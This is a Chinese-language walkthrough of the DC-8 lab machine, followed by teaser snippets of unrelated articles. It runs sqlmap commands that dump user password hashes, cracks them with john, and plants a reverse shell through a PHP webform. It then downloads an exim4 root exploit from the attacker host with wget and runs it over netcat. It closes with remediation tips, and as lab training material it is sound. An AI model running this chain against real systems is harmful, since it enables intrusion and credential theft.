DC-8渗透测试复现

DC-8渗透测试复现

目的:

获取最高权限以及flag

过程:

信息打点--sql注入- 命令执行反弹shell-exim4提权

环境:

攻击机:kali(192.168.85.137)

靶机:DC_3(192.168.85.140)

复现:
一.信息收集

nmap -sP 192.168.85.0/24
或者:
arp-scan -l

 进一步扫描端口 发现22端口和80网页端口开放

登入网站得到cms为D7 

 

AWVS扫描发现sql注入漏洞

 
二.寻找漏洞以及漏洞利用 

我们直接sqlmap一把梭 得到库名

sqlmap -u '192.168.85.140/?nid=1' --batch  --current-db

表名

 

 看用户账号密码以及权限

出现blank即是 等级不够 加等级

sqlmap -u '192.168.85.140/?nid=1' --batch --level=5 --risk=5  -D 'd7db' -T 'users' -C'name,pass,uid' -dump

 得到用户账号密码

| admin   | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | 1   |
| john    | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | 2 

有点像hash 解密 抛到在线网站解密失败 那估计就是john解密,将用户的密码保存 然后使用 john password 即可获得密码

 

turtle 应该是john密码   即 john/turtle 

进行ssh连接失败

         

 尝试登陆http://192.168.85.140/user/login 

继续摸索发现在WEBFORM处可以编辑并执行PHP代码 

 上传反弹shell

 保存后然后view进行发送 即可反弹shell

交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

在网站数据配置发现了数据库账号密码

 

登入发现是mariaDB数据库 ,登入进去也没找到什么有用的东西 跟注入的时候得到的数据库一样

三.提权 

查看能提权的命令

 发现 chfn和exim4提权 查看linux版本为4.9

linux版本为4.9那chfn提权就使用不了了

 换 exim4吧 kali直接搜漏洞

把它复制到 网站目录下 然后 www-data那边在/tmp目录下进行下载 当然你可以开启http服务 

/tmp 
wget 192.168.85.137:80/wenda.sh

 

下载完之后 查看文件的权限 发现只可读 修改文件权限为www-data可写

然后看sh文件的 使用方法

执行下面命令 (如果提权失败 建议在攻击机的shell脚本里面添加:set ff=unix 因为linux只能执行格式为unix格式的脚本)

./wenda.sh -m netcat

获得root权限以及flag

 修复:

1.关闭22ssh连接端口

2.利用参数化的查询阻止 SQL 注入,应用程序开发人员应避免通过转义或删除特殊字符(攻击者可能会利用来绕过此类保护的一些编码技巧)来清理输入内容,并坚持使用参数化查询,以避免出现 SQL 注入漏洞

3.过滤危险命令执行函数 ,客户端提交的变量在进入执行命令函数前要做好过滤和检测。

4.取消能够提取的shell命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/626545.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java泛型知多少

Java 泛型了解么&#xff1f; 泛型是一种在编译时提供类型安全检查的机制,可以增加我们代码的可读性和安全性。泛型可以在编译时期对泛型参数进行校验来指定选入对象的类型&#xff0c;比如 ArrayList<Person> persons new ArrayList<Person>() 这行代码就指明了…

包装类的认识

前言~&#x1f973;&#x1f389;&#x1f389;&#x1f389; hellohello~&#xff0c;大家好&#x1f495;&#x1f495;&#xff0c;这里是E绵绵呀✋✋ &#xff0c;如果觉得这篇文章还不错的话还请点赞❤️❤️收藏&#x1f49e; &#x1f49e; 关注&#x1f4a5;&#x1…

小程序实现前端热更新的基础技术原理

小程序技术是一种很有前景的移动开发技术&#xff0c;尤其在移动App开发中&#xff0c;高频业务场景的热更新方向上。 时间来到了2024年&#xff0c;小程序的技术已经作为企业构建超级App的一种快速迭代业务场景&#xff0c;或者便捷引入第三方生态的技术“利器”&#xff0c;…

每日两题1

文章目录 使用最小花费爬楼梯91解码方法 使用最小花费爬楼梯 class Solution { public:int minCostClimbingStairs(vector<int>& cost) {if(cost.size() 2)return min(cost[0],cost[1]);vector<int> dp;dp.reserve(cost.size()1);dp[0] 0;dp[1] 0;for(int i…

书生·浦语大模型全链路开源体系-第4课

书生浦语大模型全链路开源体系-第4课 书生浦语大模型全链路开源体系-第4课相关资源XTuner 微调 LLMXTuner 微调小助手认知环境安装前期准备启动微调模型格式转换模型合并微调结果验证 将认知助手上传至OpenXLab将认知助手应用部署到OpenXLab使用XTuner微调多模态LLM前期准备启动…

【MySQL数据库】 (篇一 ) 让你快速上手——新手速通版

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言一、如何起步&#xff1f;&#x1f3c3;‍1.创建数据库&#xff1a;2.选择数据库&#xff1a;3.删除数据库&#xff1a;4.创建表&#xff1a;5.删除表&#xff…

冒泡排序的时间复杂度的讲解

冒泡排序代码&#xff1a; 冒泡排序的时间复杂度&#xff1a; 最坏情况&#xff1a; 遍历了n-1&#xff0c;n-2&#xff0c;n-3......才让数字来到该处于的位置&#xff0c;而这是一个等差数列&#xff08;n-1&#xff0c;n-2&#xff0c;n-3......&#xff09;&#xff0c;该数…

四川教育装备行业协会考察团走访云轴科技ZStack共话技术创新应用

近日&#xff0c;四川省教育装备行业协会高等教育技术专业委员会组织了一次深入的考察活动&#xff0c;旨在加强与其他省市高校及企业之间的交流与合作&#xff0c;学习借鉴先进的教育装备与管理经验&#xff0c;以提升本省的高等教育技术水平。考察团一行先后走访了武汉理工大…

2024-6.python流程控制

流程控制 流程控制指的是代码运行逻辑、分支走向、循环控制&#xff0c;是真正体现程序执行顺序的操作。 程序是由语句构成&#xff0c;而流程控制语句 是用来控制程序中每条语句执行顺序的语句。可以通过控制语句实现更丰富的逻辑以及更强大的功能。几乎所有编程语言都有流程…

Nacos源码分析,Nacos gRPC服务端设计

作为SpringCloudAlibaba微服务架构实战派上下册和RocketMQ消息中间件实战派上下册的作者&#xff0c;我来给大家分析一下Nacos的源码。 Nacos支持采用gRPC作为通信渠道&#xff0c;并且针对Nacos集群之间的通信以及客户端和Nacos服务端之间的通信&#xff0c;同时启动了两个相…

Spring (四) 之配置及配置文件的操作

文章目录 1、Spring 基于注解的配置基于注解的配置引入依赖包配置实体类数据访问层业务层业务层实现测试 2、Bean和Component和Configuration的区别1 Bean:2 Component:3 Configuration:总结&#xff1a; 区别Component和Configuration区别 3、Spring读取properties配置文件准备…

使用 strace 进行调试

strace 是可用于调试任何正在运行的程序的最佳工具之一。在我们深入之前&#xff0c;您需要熟悉系统调用。熟悉它们非常重要&#xff0c;因为 strace 公开了程序正在使用的系统调用。因此&#xff0c;在介绍 strace 之前&#xff0c;先介绍一些常见的系统调用。 系统调用是“应…